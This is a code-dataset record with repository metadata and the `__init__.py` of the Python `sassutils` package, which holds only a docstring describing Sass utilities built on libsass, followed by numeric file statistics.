odoo-13.0/venv/lib/python3.8/site-packages/sassutils/__init__.py
|
VaibhavBhujade/Blockchain-ERP-interoperability
|
b5190a037fb6615386f7cbad024d51b0abd4ba03
|
[
"MIT"
] | 267
|
2015-01-01T01:35:41.000Z
|
2017-12-22T09:55:30.000Z
|
odoo-13.0/venv/lib/python3.8/site-packages/sassutils/__init__.py
|
VaibhavBhujade/Blockchain-ERP-interoperability
|
b5190a037fb6615386f7cbad024d51b0abd4ba03
|
[
"MIT"
] | 189
|
2015-01-02T03:29:52.000Z
|
2018-01-18T22:31:06.000Z
|
odoo-13.0/venv/lib/python3.8/site-packages/sassutils/__init__.py
|
VaibhavBhujade/Blockchain-ERP-interoperability
|
b5190a037fb6615386f7cbad024d51b0abd4ba03
|
[
"MIT"
] | 42
|
2015-01-11T04:53:19.000Z
|
2017-11-29T20:38:49.000Z
|
""":mod:`sassutils` --- Additional utilities related to Sass
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This package provides several additional utilities related to Sass
which depends on libsass core (:mod:`sass` module).
"""
| 30.875
| 66
| 0.566802
| 24
| 247
| 5.833333
| 0.708333
| 0.271429
| 0.371429
| 0.4
| 0.457143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.109312
| 247
| 7
| 67
| 35.285714
| 0.636364
| 0.963563
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
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